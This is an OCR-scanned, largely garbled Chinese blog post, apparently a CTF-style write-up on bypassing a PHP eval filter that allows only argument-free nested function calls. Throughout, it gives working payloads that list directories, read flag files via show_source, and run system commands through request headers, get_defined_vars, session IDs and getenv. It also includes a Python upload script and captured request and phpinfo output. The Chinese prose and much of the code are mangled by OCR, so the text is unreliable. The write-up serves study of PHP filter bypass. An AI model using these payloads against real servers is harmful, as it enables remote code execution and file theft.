cé—+ windowsIR13 24 5 LE H F 3 _ESHE A FIRCEE.

weixin 39769807 o F 2020-11-19 17:07:59 K Af o 38 ﬁ e
XEHRZ: o+ windows$k{5 24 H T 3 4 A sqlite #E AR

.
L]

©

K@,

£ : leon & REIC

* 5%
AR
TS BUE B A I
o BELHMHERXIMHA
ELELIIER S
BE L -ZHFXXMHA
B E% B R 0H
BEENENZE LEABENRATT, —HEOTXEERT
o HFEMERURE R

%2 B 4 #47 (RCE)
¢ getallheaders()&apache_request_headers()
e get_defined_vars()
¢ session_id()
e getenv()

o /NG
« &%

il[|3

5l

Z AR B R T TS HRCERX K, EM EERFRIR AR T/ Writeupsli#F payload, EHF —RAEH T
B R R BOCE M A S PATIETS, FTARIE T R E], K PHPIE S H0E 34 L K & AT BT B T A B 45
T, RN EREFER.

HaRESH?

BB MERMHEY, BRI ESH, XEAMMMRE . LRGN RBLAERZHES
WEREHIR EE; 6 B R B E B AS BN ZRE NN SHE

BIR, WREFTFG RS B MRCER B4R TS, #HBIREREPHPR &M R . iCETLSHEE M
FRCE) &K T7 1

.«


https://blog.csdn.net/weixin_39769807
https://so.csdn.net/so/search/s.do?q=c%252B%252B+windows%25E8%258E%25B7%25E5%25BE%2597%25E5%25BD%2593%25E5%2589%258D%25E5%25B7%25A5%25E4%25BD%259C%25E7%259B%25AE%25E5%25BD%2595%25E6%2596%2587%25E4%25BB%25B6&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E8%25AF%25BB%25E6%2596%2587%25E4%25BB%25B6%25E5%2592%258C%25E8%25AF%25BBsqlite%25E8%25B0%2581%25E5%25BF%25AB&t=blog&o=vip&s=&l=&f=&viparticle=
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_39769807&utm_content=110358274

<?php

highlight_file(_ FILE_ );

if(';" === preg_replace('/[*W]+((?R)?)/"', "', $_GET['code'])) {
eval($_GET['code']);

R E T

preg_replace('/[*W]+((?R)?)/"', "', $_GET['code'])

RXEfEHpreg replace BMILIEEIN TR AT, wili 7R, HFMTRL, FWT ("A-za-z0-9_1, R
J& (?R) 2 RXANE BRI LEER

B CAIEN & Xt R ILEE TS B R, WU ERREMAKES (ESHRED , BILENBEIAE,
AR THRIRERE;

AT

a(b(c()));  ALMEM, HEa ('b")HEa('b', 'c") XMEESHMEHA 6L
Pt CAZRATT A8 F o S 30 B0 Bk A7 SO S BB i & AT

TS BAE =B SR EL

BHE L HF M4

IE¥M, print_r(scandir ('.")); ATLAARER 481 H RHAH M4
BEREEAWESH BN, XENBIANTTE:

1. localeconv()

localeconv () BEI—GEARMBFZRETIBERGEENSHH. MBAE—THL"." LB . AN S
B, HEIRAD



{/code>Array

(
[decimal point] => .
[thousands_sep] =>
[int _curr symbol] =
[currency_symbol] =>
[mon_decimal point] =»
[mon_thousands_sepl] =>
[positive sign] =
[negative_sign] =
[int frac digits] => 127
[frac_digits] = 127
[p_cs precedes] => 127
[p_sep_by space] => 127
[n _cs precedes] => 127
[n_sep by space] => 127
[p_sign _posn] => 127
[n sign posn] => 127
[grouping] => Array

(
)

[mon_grouping] => Array
(
)

)
BEARBZAN K, H— R

current () REIFAFT K HIT, BIADRE—IME:

© ® 127.0.0.1/test.php?code=print r(current(localeconv()));

P 5E—F, 53iE0E  bg Leon — FmsEHLeon... leon-0-BEE (&3 A5z DEEExE
<?php

highlight file(_ FILE_ );

if(';" === preg replace('/[*\W]+\{(2R)2\}/", "', $ GET['cods'])) {

eval(5 GET['code']);

print r (scandir (current (localeconv()))) ; BRIIFTENH 2807 B 5T 304

C o © © 127.00.1/333/222/111/index.php?code=print_r(scandir(current(localeconv())):
B ST, e g Leon — BEHLeon... leon-0 - BEE &R Bz BEEEx B ELDeEs FreepufB B
<7php
highlight_g£ile(_ FILE_ );
if(";" === preg replace("/["\W]+\{(?R)2\)/"'; "', 5§ GET['code'])) {

eval (§_GET["code']):

+ Array ( [0] == . [1] == ..[2] == flagl.php [3] == index.php )
ﬁ%‘ﬁﬁﬁprint_r (scandir (pos (localeconv())));» pos%currentﬂ‘]%ﬂ@
R IR MEF reset (), XRBUREIEAE —NETHE, WRHHAANZNRE FALSE

1. chr(46)

chr (46) BiRF/HF"."



g6, BT

chr(rand()) (REbr, BEXK)
chr(time())

chr(current(localtime(time())))

® chr(time()):
chr () Elﬁu256y‘j_‘/l\%%’ Fﬁuchr (46) ,Chr (302) ,Chr (558) %B%ﬂ:" o
Fﬁu\ﬁﬁﬁ(:hr tlme( _‘AH%M\%EHEA—{kH "

® chr (current(localtime (time()))):
BHE —MEFP+1, FTURL60M M —EaE 2146, Hcurrent (pos) BAEIRE" . "

1 <?php Array

]

2 print_r(localtime(time())): (
& 0] => 10
1 ==>9
2] => 13
[3] == 28
[4] == 5
[5] == 120
[6] == 0
[7] => 179
'rr: _;, P-L

r r_l i’ﬂ
;)J

1. phpversion()
phpversion () REIPHPRRA, #15.5.9
floor (phpversion () ) IR [E] 5
sqgrt (floor (phpversion()))iREI2.2360679774998
tan (floor (sqrt (floor (phpversion()))))iREI-2.1850398632615
cosh (tan (floor (sqrt (floor (phpversion())))))iR[E4.5017381103491
sinh (cosh(tan (floor (sgrt (floor (phpversion()))))) yIR[El45.081318677156

ceil (sinh (cosh(tan(floor (sqgrt (floor (phpversion())))))) )R [E]46

c o © ® 127.0.0.1/333/222/111/index.php?code=print(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

w31 1= :q Leon — Z0OES|Leon... Leon-0 - @z I_f| =5 fi HE E| wetEsE E| oAl = FreeBufE Bl 55... @ SQLAnje
<?php
highlight_file(_ FILE );
if(";" == preg replacc{ FI\WIHN (PR} 2ND S, "", §_GET['ecede"])) {
eval ($§_GET['code']); r e ; } o S
) 46 ;;‘.rJ“E‘" (WE)

chr (ceil (sinh (cosh(tan(floor (sgrt (floor (phpversion()))))))) yIR[E["

1. crypt()



hebrevc (crypt (arg) ) A] ABENLAE B — Nhashfl, 2B —NFRFRENLR S(RIER) 8 . "(MER) R 58
chr (ord () ) REE—NFHF

ps: ord () & [BIF4F & — A FAF I AsCiifE

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));// (ZRIFJLK)

© @ 127.0.0.1/333/222/111/indexphp?code=print_r(scandir(chr(ord(hebrevc(crypt(time())))));

BE—T, #eI5IE b Leon — 2B Leon... Leon-0 - ExE =T Az BiERE: BERnEs FreeBufDERZET.. @ |
<?php
highlight file(_ FILE );
if(";" === preg _replace("/[*\W]+\{(?R)2\)/", "', $ GET['code"])) {
eval ($_GET['code']); N‘[" K r I-"_;. | 'L"."_'I.
} Array ( [0] =>.[1] == ..[2] == flag]l.php [3] == index.php [4] == zflag.php ) I A J Iy = VS

F#: strrev(crypt (serialize(array())))WATEAER". ", R4
Hcrypt (serialize (array())) MRHBRERE —NFER, BEMMHstrrev () ¥F, REHE
Fchr (ord () ) SKEUE—AF4F

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

¢ @ © ® 127.0.0.1/333/222/111/index.php?code=print_r(scandir{chr{ord(strrev(crypt(serialize(array())))));
BSE—F, #fe0E b Leon - 25m%FLeon... Leon-0 - =R [EE (rE EEEx BEenEs FreeBulEBM=23m.. @ SQLinjecti
<?php
highlight file(_FILE );
if ('; " == preg_replace ("/[*\R]+\{{(?R)?\}/*, "', 5_GET['code'])) { :
eval {§_GET['code']); f;{j::(; r ) =
1 Array ([0]=>.[1]==>.. [2] == flagl.php [3] = index.php [4] = zflag.php ) AT I

PHPHI R n sz R, KB "HTHEEEE WL

EHK, BAETUHprint r(scandir ('4XEE ")) ; REE 4/ H R XA
REA T B AT B getewd () Mlrealpath (. ")

FABATER A Hprint r (scandir (getcwd ())) ; ¥ Z8i 304 R AT E 44

© @ 127.0.0.1/333/222/111/index.php?code=print_r(scandir(getcwd());

Leon-0 - SEE BZE 5z DEEEX BEsTAR

<?php
highlight file{ FILE );
if(';' === preg_replace('/[*\W]I+\((?R)2\)/"', "', 5_GET['ccde'])) {
eval (5_GET['code']): )
+ Array ( [0] ==.[1]=>..[2] == flagl.php [3] => index.php ) s
CLELIER S

S AT R JT R T S ET E RO, R AR ERER, tWPHPIRRS, ATE T ZE A R BOEE -
BT 5 R R B, U2 R AR, ABATEE A BUH AR ZE B B A e -
B WPHPF M &I



current() - IREIEA SR MEIETT
each() - IREIEFAGLEIRIE / EXFHGEEIs T RRiBa—~
end() - BEAENASPIEFHERRE — 1 87T
next() - FEAPRAZPIEE RRIREE—(Z
prev() - BEEERNAZBEEHR—{Z

=M2E @WEi
FMEAXETE, MREERBKNHAEARRE —RAIATCLH:

show source (end(scandir (getcwd()))) ; EE
Freadfile. highlight file. file get contents ZECHFREATLL (fF
Freadfileflifile get contentsiEXf, ERTEIRFDL)

pS: readgzfile () WAL, HH TS EE
BAIGSIMzflag. phpfEHHEFE index . php/a RAERE — N34

eval ($_GET['code']);
} Array ( [0] ==.[1] =>..[2] == flagl.php [3] == index.php [4] == zflag.php )

¢ @ @ @ 127.0.0.1/333/222/111findex.php?code=show_source(end(scandir(getcwd())));
B s F, (ResnE b Leon - BimsHiLeon... Leon-0 - R &E Az DEsEE: B Esnas FreeBulG AR
<?php
highlight_file(__ FILE_ )
if(*;"' == preg_replace("/[*\WI+\((?R})Z\)} /", "', §_GET(['code'])) {

eval (5 GET['code']):
}

Strict Standards: Only variables should be passed by reference in D:\phpstudy _pro'WWW\3331222\111%index.php(4) : eval(
<tphp r 7
Szflag = "zflagi{zzz}": '_.'l,J ‘_rl_

CH LR E BRI R PHPS.30L EBA R B AR, TR REN BAUEE B, WA %R HMRA
B

NB—NERE: array reverse () PMAHRIITCEIF IR EHH
zflag.phpARRERE—M, RITKRMBNE—HL, ATAEEMcurrent (pos) BH

show_source(current(array_reverse(scandir(getcwd()))));

© ® 127.0.0.1/333/222/111/index.php?code=show_source(current(array _reverse(scandir(getcwd())))):

Leon-0 - EEE EE BAz QREEE: QEETE® FreeBulEEARIZ=SST.. @& SQLihjec

<?php
highlight file( FILE );
if(';' === preg_replace("/["\W]+\{(?R)2\)/"', "', $_GET['code'])) {
eval ($_GET['code']) s
} <%php P SI7 () - Y
S$zflag = "zflag{zzz}"; :.J_.I:I-J_ r-’_jj el RPN

a0 SRR BB — AN BATAT LA :

show_source(next(array_reverse(scandir(getcwd()))));

WMRANREAR G — N ERERBEE A E?



BAITLMEHarray rand(array flip()), array flip () BRRXEEAMBIIE, array rand () 2k
MLIR Bl — N30

BT ABATTH] LA -

show_source(array_rand(array_flip(scandir(getcwd()))));

B

show_source(array_rand(array_flip(scandir(current(localeconv())))));

(FLAE O ERHESSERgE . " W7EY& LR s B O sEEL, J5 30 R 5128 6 B )i A))
ZRIFLIR, BiEs 7T IEEHEERERREE = M flagl . .php:

3 @ © @ 127.0.0.1/333/222/111/index.php?code=show source(array rand(array flip(scandir(getcwd())}));
EE—T, fonE bg leon— PulkSlleon..  Leon-0-BEE BYEE BN5% BImREX BYESTEEE  FreeBufOBEM=aiT. @ SQlifje
<?php
highlight file( FILE );
if(":;' === preg_replace('/[*\WI+\({2?R})2\)})/", "', S_GET['code'])) {
eval (§_GET['code']); rr TIE (7)) 2oty
} <?php U= e

$flag = "flagl{1l11}";

40 5R B AR SCHEANE 2480 H SR8 ?
BEEE-ZBAXRXMHH

AR

dirname () : REB&EFHHRE®, .

1 <ophp - /aaa/bbb
2 print_r(dirname(’ /aaa/bbb/ccc. php' ));

D @ 127.0.0.1/333/222/11 1/index.php?code=print_r{dirname(getcwd(}});

i g Leon — RHFLeon... Leon-0-@=E OEE O riz OREEE O EEEE= FreeBu
<?php
highlight file(_ FILE };
if(";" = prag replaca('/[*\W]+\((?R)2\)/"', """, § _GET["code'])) {

eval (§_GET['eade']); ==

} Di\phpstudy _pro\WWW\3331222 B

MEFETDE N, WREARERENBE OMEXHE) , MREIRE E—EBE, SARRIIFAL %R
B 3R [B] ST A B 24 B %45

chdir() : MY ITIERZR
1. dirname ()5

print_r(scandir(dirname(getcwd()))); //&E E—FHFHH



O @ 127.0.0.1/333/222/111/index.php?code=print_r(scandir{dirname(getcwd())));

g Leon - Fm=FLeon... Leon-0 - B%E FE oz ORESEE Eanes FreeBufB B
<?php
highlight_file(_ FILE_ ) ;
if(';* == preg_czeplace('/[*\W]+\({?R})2\) /', "', §_GET["code’])) |

eval ($_GET['code']);

} Array ( [0] =>.[1]=>.. [2] == 111 [3] = flag2.phY))
print r (next (scandir (getcwd())));: HMlscandir (getcwd () ) HIMPIEAE - .. ", BT
PARTBA A next () 3REL
print_r(scandir(next(scandir(getcwd()))));// Al &EEF L& B F X/
a6 B — G A AT DRS¢

next(scandir(chr(ord(hebrevc(crypt(time()))))))

B E% HFCH
E%print_r (readfile(array rand(array flip(scandir (dirname (getcwd())))))) ; AT PA

K, SiRsE, BOVBRIARTE ZE0 T/ B RIPGFRBOIAN A, TRAMFE E—FEHFR, FrUZEeSZ L6
BR3P

HWEB2 T chdir (), FH:

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

B A %32 BT H 3o £ — B B FOFRBOCH

© @ 127.0.0.1/333/222/111/index.php?code=show_source(array_rand(array_flip(scandir{dirname{chdir{dirname{get

sFLeon... Leon-0 - R [(&E A QEEExX iEsnes FreeBufGELRIE==HT.. @ SQLihjection “CTE .. [
<7php
highlight file{ FILE_ );:
if({';" === preg_replace('/["\W]+\((?R)2\})/', '', 5_GET['code'])) {
eval (5_GET['code"]):

¥ <?7php
Sflag = "flag2{2221";

MEANGEMHEAdirname (), ATRMERME" . . 77 AT A FF BRE

HEXBEY#HEZE Fgetcwd () Mlocaleconv () NREBRWSH, FERIEBEEARY, BATATLAHZ A
Hhebrevc (crypt (arg))

XBcrypt () ftime () TLERSE, TRWIE:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
BERRK:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(ph
AT PAR «

show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv(

2 R LK



| S

[chriord (hebrevc{crypt{chdi

SOLnection SGIES. (¢ Git

<7php

hi ﬂ light_file{__FILE__ )’
t -' - “L&% E¢L AcE ("SI ({TR) 7D SN " S_GET["code]))
eval (§_GET[ de" 1)

Strict Standards: Only variables should be passed by reference in D:\phpsiudy_pro/WWW 3331222\ 111\index.php(4) : eval()'d cnde |. w

<7php
Ell; = "flagd(222)%;

BH—MWETELL O (XMEERYE, FEAFERTREERSHKRED

if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

© @ 127.00.1/333/222/1 11 /index.phplcode=ifichdirinext(scandir{getcwd )})])show_source(array_rand{array flip(scan §

<iphp

highlight_file{__FILE_ }:

if(";" === pra; nl: Lace (*/[*\WI+\(I7RIZAD /", "', §_GET['code'l))
eval (5_GET["code"]) s

Slrltt Standards: Oaly variables should be passed by reference in D \phpstudy_pro'WWW 333222111 \ndex.php(4) : eval()'d code on l.me 1
<7php
$flag = "flagi 1" .-|| ,_

HENMENZE LEABRBRNRATT, —HKTAEERT
HHEMERUR B XXM

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev (crypt (serialize(array())))FiRRBHFZFEE N BILER/, FLAM#EHL Lpayloadml LA
R EF

1 <?php /
2 print_r(chr(ord(strrev(crypt (serialize(array()))))));

3

ERABRRE], linuxRAE T HE—ERRRABEERE], FrbAA—E R

1 <?php Array

2 print_r(scandir (chr (ord (strrev(crypt (serializel(array()))))))); (

3| [O] =
1] => ..
[2] == bin
[3] => box
[4] => dev
[5] == etc
6] => lib
[7] => lib64
[8] == proc
[9] => tmp :
[10] => Gl <[ (0)=vich

)
[E] 1 ) <

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

WATCLEFR B RO, HEMSZARRES, S—ER
BEARE R (MRTEMR)



if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))

BXHERNRERXA%, FREFTFE R GABIMEFEME, FH5REERKIER
x 2 a2 $47 (RCE)
BT UMEH TS HRBUER M, BATEHIT a2

BEAREANB code HEAREHSH, MBATIAT UESETAERN KT, code HESHRECRERSHE? X
FEBL AT CLFT B TE 2 5B BT PR 61

Bt Eheaders, B AheadersBEMIAF W, FREPHPFMFHZE: headers

headers doesn't exist. Closest matches:

» header

» get_headers

» nsapi_request_headers

» apache_request_headers
 nsapi_response_headers
» apache_response_headers
» imap_headers

» headers_sent

» headers_list
 iconv_mime_decode_headers
» imap_rfc822_parse_headers
o fdf_header

» soapheader

I' gaﬁluieaaers ’,E_[J:F -:::.f.-

St ER, ﬁfﬂgetallheaders () *ﬂapache_request_headers ()

getallheaders()&apache_request_headers()

getallheaders () %apache_request_headers () ) 1 4% BR B 1E%i§@§fbn\ﬁ§EApache%j%—Fﬁﬁﬁ



getallheaders

{PHP 4, PHP5, PHP 7)
getallheaders — IREVE 8P HTTP iFICLEE

588
getallheaders ( void ) :

array

HHAREREArE ARS8,

AR apache_request_headers(f5%&. ERNE apache_request_headers() WREEEESER.

REHE

BELUMERFBLESEE, EMEE Fase .

EIRMATAML T, EfTheader LEEATHI:

eval (§ GETL code’ 1]

FIF @F

} et LR WU IT A0
» Array | [Upgrade Insecure- l-q.m1 > 1 [Connection] = > dose [Accept Encoding] = :g‘up,ﬂtllll.ﬂwm'| » zhe = [T e ———
Cl'l_;h;q-ﬂ.l\,zh fg=07zh HKg=05en-USig=03eng=02 [Accept| =» text/html ion/xmlg =09 image & oo AL
oo 3D s ot > gt o -5 127001 o
(] Post data [ Fslersr (2] Uses Agent
[0 Coekies Cinar Al
U phpino;
r A
AT LA -
?code=eval(pos(getallheaders()));
//header
Leon: phpinfo();
GET /33W/222/111/ index . php?code=eval ipos(getallheadecsil | ) i
HTTP/ 1.1 P e
Heat: 127.0.0.1 :’.'l 2ght_ filei_ FILE ! o ;
Aecape ! 1R [Ty w— pf epl B W] & _GE ode
rext/Brml, appl icat Lo/ shemlsxml, appl icat ion/ sl g=0.5, imags, web =val 8 GET["code’ l):
P. 5SS 4rg=D.8

Accepr-Languags:

Eb-CH, shiq=0.8, zb-TW: q=0.7, eh~HE: q~0. 5, en-03; q=0. 3, en: q=0.2
Accepr-Encoding: guip, dsflats

Comnectlon: close

Upgrads—insscurs—Requests:

Cache-Contral: max-age=0

Leen: phpinfei):

FANRXELeon:

phpinfo ()

Wilndovws: NT LAPTOP-KF 10ZUKD 1000 bulld 18363 (Windows

Systom

|| | B Date Apt 2 2018 11 50:57
Compiler mﬁmo-m
Architscture
Coafigure Command

S G

11_“ an

DOt EhaNT "SR er - wih-pO0”

;HETESE —ANL, FrUAEEHRpos (currentMIHI&)

<?c5de>krray

(
[Leon]

[Cache-Control]

=> phpinfo():

=> max-age=0

B — A KA

[Upgrade-Insecure-Requests] =>
[Connection] => close
[Accept-Encoding] => gzip,

FTrMercrant o anFmaral =%

IR, ERARBBALEANBELT, RIETUEREHRER -

1



GET /333/222/111/index.php?code=system(pos (getallheaders(})): & | s
3 Iphp

HTTR/1.1 T
2 : 127.0.0. aighlig
LAY RS if(';" C/I\WIH\((PRIIND /Y, ', §_GET['code’1)} {

3 Accept: 0
cexe/heml, application/xhtml+xml, application/ml;¢=0.9, image/ veb &
P,/ *iqmO.8

Accept-Language:

zh-CN, zh:¢=0.8,zh-TW;:q=0.7, zh-HK;g=0.5,en-US;g=0.3,en: ¢q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1 ;
Cache-Control: max-age=0 ,rl;l Er ((fJ 'I.':"I |f_|'

Leon: whoami

#> laptop-kplo2uki'leon

s

n

N

WHEMBRARE, "SI0 WERBREAE A
BT ALk Bheaders, PHPEAN KRR KRB AT A PHPEZ &:

get_defined_vars()

get_defined_vars

(PHP & >= 4.0.4, PHP 5, PHP 7)

get_defined_vars — IREIHMTE EEM TTEATHEREEE

175

get_defined_vars ( void ) : array

HBEE— OAFEEEY SRIIENSENE, XETROERETE. BEEERNAP R /)

ZRHLIRE S REEME, Wget. post. cookie. fileZi#E

U @ 127.00.1/333/222/111 findex.php?leon=phpinfo();&code=print_riget_defined vars());

b Leon — Z5mHELeon... Leon-0 - WEE FEE Az (QREEE: BEane FreeBufEEAFIES5T. (@) SOl Mjection JCTE.. @) GitHub - Exphubli,
(?php
h:lgh].lght file(_FILE_}; :
if (" == preg_ rep]acef [wIsv((eRy 2/, ', $_GET[ code’ 1))

eval (§_GET[ code’]);

" e
) ===

2> Array ( [ GET] => Array ‘[Iecn] => phpmfc[),l[ccde] => print_r(get defined vars()); ) [ POST] => Array () [ COOKIE] => Arrayl— L—_FLE&; r-nﬁ'rbﬁ) )

XEEER, leon=>phpinfo ( E GETH A, FrbAREE IR E:

F—R:
@ @ 127.0.0.1/333/222/111findex.php?leon=phpinfo();8icode=print_ripos(get_defined vars()));
wxE FSE Bor ERE: Pernas FreeBulEEIZ ST @ S
<?php
highlight file(_ FILE_ ): ) )
if(";" == preg_replace(’/["\WI+\((?R)?\)/", "', S$_GET['code’])) |

eval CS_GEI:' code' 1) :

2> Array ( [leon] => phpinfo(); [code] => print_r(pos(get defined vars())); ) AU e

© @ 127.0.0.1/333/222/111/index.php?leon=phpinfo();&code=print_r{pos(pos(get_defined vars())));

of Leon— ¥okTileon..  Leon-0- BEE PSE PS5 PEHER PYHRTEE  freesuEBMZT. " @ sqLi

{?php
highlight file( FILE ): ] :
if(";" == preg_replace('/["\WI+\((?R)?\)/", "°, $_GET[ code’'])) {
‘ eval ($_GET[ code’]):
! ,

) ; i F3 L
2> phpinfo(); T @WE



Bk, I getf&id#i A& nT LA iy 24T, post. cookie[d3, XEBMAHEMRT

?leon=phpinfo();&code=eval(pos(pos(get_defined_vars())));

@ ©® 127.001 : Jox son=ohoinfoll:A

msr_.g‘u:J : f:ﬁeﬂulhlﬁ.@ 8:a

B =E—T, ¢otsmn b Leon - B5@ESLeon... leon-0 - WEE PEE Pz (R@EENEE BB

preg_replace ] RN/, . beErl

PHP Version 7.3.4
System [ windows NT LAPTOP- PICaf: 1-{!-_1 = L-_'mnd.
Build Date Apr 2 20019 21:50:57
el R F file 22 & i3 47 ree e ?
import requests
files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}

r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));"', f
print(r.content.decode("utf-8", "ignore"))

REEFRNE, flefidERE 1, FEendEhL, K Npayload ERBAEXHHIAIRLE, FHposPidkiE 3k
/X4

reqaests

r = requests.post( hitp
. comtent. decode (“ut

session_id()

session_id(): FELAARIKEV/KE HHT&1E ID.

sessionf BEffHlsession_start () JFE, RFEREISH G session_id ()

ERE—mRE: XHLSIEEEBNAFEIE D FEHUTER: a-zAZ0-9, GES) M-S
fEfRhex2bin () BEAT DL+t B BONASCI 745, B ABAME A 75 BEH - F hex2bin () BIAT

>>> print'phpinfo();'.encode('hex')

706870696e666+28293b




L GET /333/222/111/ index. php ?oode
eval ihexibinimessicon_id isession_stactibiii; ETTF 1.1
2 Home: 127.0.0.1
3 Umer-Agent: Bozilla/S.0 (Windows NT 10.0r WimEd; xéd; rwe?7.0)

Te

Gecko/20100101 Firefox/77.0
4 Accept:
Caxr/BCml, applicar Ltan/ yhimlédml, applicat Lon dml : el . 9, Lnags ek
Pe "F % qeD.8
Accept - Languags
=h-CN, shiq=0. 8, sh-TW; g=0.7, sh-HF; q=0. 5, #8-US: q=0. 3, en; q=0. 2
& Aspepr-Encoding: gzip, deflace
Comnect lom) olome ' L —
Cookie: FHPSESSID=-TOL070{8Eed 6202910 £ =+ e =
Upgrade-[naecus e—Bequenta: 1 [system [Winderws MT LAFTOR &P 102UKI 6 2 busia 5200 (Windaws § Home Premium Edmion) AMOS4 |
D k e 1

eval(hex2bin(session_id(session_start())));

>>> print'phpinfo();'.encode( 'hex")
706870696e666128293b

Cookie: PHPSESSID=706870696e666128293b

getenv()
getenv () : KM EBEBMEFEPHP7AZER IAS TSH)

FLLiZR B RER TPHP7AZ G4, BNESHI: Warning: getenv() expects exactly 1

parameter, 0 given in ...¥RE&E

# view-source:http://127.0.0.1/333/222/111/index.php?code=print_r(getenv());

Leon-0 - &R PIEE B2 BEREx B Eones

{code>{span style="color: #000000">

<span style="color: #0000BB">&lt;?php

<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB"
<br /»if ({/span><span style="color: #DD0000">' ;" &nbsp:</span’{span style="color: #007700">==
<br />&nbsp;&nbsp;&nbsp;&nbsp;eval ({/span><span style="color: #0000BB">$_GET</span><span sty
<br /»}

<br />{/span>{span style="color: #0000BB">?kgt:<{/span>

</span>

</code>Array

(

[PATH] =>» D:\Xftp 6\;D:\Xshell6\;C:\Program Files\AdoptOpen]JDK\ jdk-8. 0. 232. 09-hotspot'bin
[SYSTEMROOT] => C:\WINDOWS

[COMSPEC] => C:\WINDOWS\svstem32\cmd. exe

[PATHEXT] => .COM:.EXE;.BAT;.CMD;.VBS:.VBE;:. JS:. JSE;. WSF:. WSH;. MSC
[WINDIR] => C:\WINDOWS

[PHPRC] => D:/phpstudy_pro/Extensions/php/php7. 3. 4nts

[ FCGI_SHUTDOWN_EVENT ] => 9008

) HEFE @E
getenv () AJULARIEERER, ERFH—-BEEXBGLSPITER, BRI
Mphp.ini¥, variables orderfN: GPCS

Wk 2 i R AT E X PHPHE BB HIRF & GET, POST, COOKIES, SERVER, %A &
XEnvironment (E), YREJEMEMphp. ini X/ variables order{E RVRIBEMIGF, W: "EGPCS",
XBY, $ ENVEERLA] DS T

UL p VMLLY./f/PIIP..IISLf V@l Lguica Ul ucih
643 variables_order = "EGPCS"
AAA

BITKREBREHME: CMEAF, AEREEREARD



B view-source:http://127.0.0.1/333/222/111 findex php?code=print_r(getenv());

SYSTEMROOT] =» C:\WINDOWS
COMSPEC] => C:\WINDOWS\system32\cmd. exe

PATHEXT] => .COM;.EXE;. BAT;.CMD;. VBS:. VBE:. JS;. JSE:. WSF;. WSH;. MSC
WINDIR] =» C:\WINDOWS

PHPRC] => D:/phpstudy pro/Extensions/php/phpT. 3. 4nts
_FCGI_SHUTDOWN_EVENT_] => 8936

SCRIPT_NAME] => /333/222/111/index. php

REQUEST URI] =>» /333/222/111/index. php?code=print_r(getenv{});
QUERY_STRING] => code=print_r(getenv());

REQUEST_METHOD] =» GET

[SERVER_PROTOCOL] =» HTTP/1.1

[GATEWAY_INTERFACE] => CGI/1.1

[REMOTE_PORT] => 53725

[SCRIPT_FILENAME] => D:/phpstudy_pro/WWw/333/222/111/index. php
[SERVER_ADMIN] => admin@example. com

[CONTEXT_DOCUMENT_ROOT] => D:/phpstudy_pro/WiWw

[CONTEXT_PREFIX] =>

[REQUEST_SCHEME] => http

[DOCUMENT_ROOT] => D:/phpstudy_pro/WWW

[

[

[

= = e

REMOTE_ADDR] => 127.0.0.1

SERVER_PORT] => 80

SERVER_ADDR] =» 127.0.0.1

[SERVER_NAME] => 127.0.0.1

[SERVER_SOFTWARE] => Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/l.02

[SERVER_SIGNATURE] =>

[SystemRoot] => C:\WINDOWS

[HTTP_CACHE_CONTROL] = no—cache

[HTTP_PRAGMA] => no—cache

[HTTP_UPGRADE_INSECURE_REQUESTS] => 1

[HTTP_CONNECTION] => close

[HTTP_ACCEPT_ENCODING] => gzip., deflate

[HTTP_ACCEPT LANGUAGE] => zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh—HK; q=0. 5, en-US;q=0. 3, en;q=0. 2

[HTTP_ACCEPT] => text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*:9=0. 8

[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:77.0) Gecko/20100101 Firefox/77.0

[HTTP_HOST] => 127.0.0.1 Ar|EE ()

[FOGI_ROLE] => RESPONDER Al (W
)

Xt BEBATAT IR AR, D53k R £ 3

[ N . -

Request Response

i 20 [_FCGI_SHUTDOWN_EVENT | =
Hame | Vot | (SCRIPT_MARE] =5 /333] 118/ ey, php
[REGUEST URI] =5 /33372237 111/ 16065, pRRICOME=HT AT T (GRLamv (]|
[QUERY_STRING] =» cods=print_rigevemei}): B
24 [RECUEST_WETHGD] = GET
(SERVER_FROTOCOL] =5 HTTR/ 4.1
[GATEVAT INTERFACE] =» COT/1.1
a7 [FEMOTE_FORT] =» 531751
[SCRIPT_FILEMANE] => D:/phpstudy_peo/ VUW/333/222/ 111/ index . php
[SERVER_ADEIH] =» adminBexample.com

GET (33322311 Uindex phpeode=pent_rigetens(l),
Hast 12r001

Usar-Agan phpniod);
Accapt tem i, applic
Accepl-Language Zh-CNZN 0= 0. 8,20 TW.G=0.7,Zh-HK 4= 0.5 8-

Accepl-Encoding deflate
= =y [CONTEXT DOCUNENT FOOT] =3 Di/phpstudy pro/ VoW
Comction closs ) [CONTEXT_FREFIX] =»
Upgrade-insecwe-Requ.. 1 32 [RECUEST SCHEME] =» heep
foe-Conl ponces [BOCUMENT POOT] =» D:/phpstudy_pee/ W
b & ke - ¥4 [REROTE_ABDR] => 137.0.0.1 i
Leon phpnfol]. [SERVER_PORT] =» 80
- B [SERVER_ADBR] =» 127.0.0.1
a7 [SERVER_WAME] =» 127.0.D.1
(SERVER_SOFTWARE] => Apache/Z.4.38 (Winé4) OpenSSL/1.1.1b mod_fogid/S.3.9a
wod_log rotatel1.02
T[SERVER_STGNATURE] =»

L

i

Ve

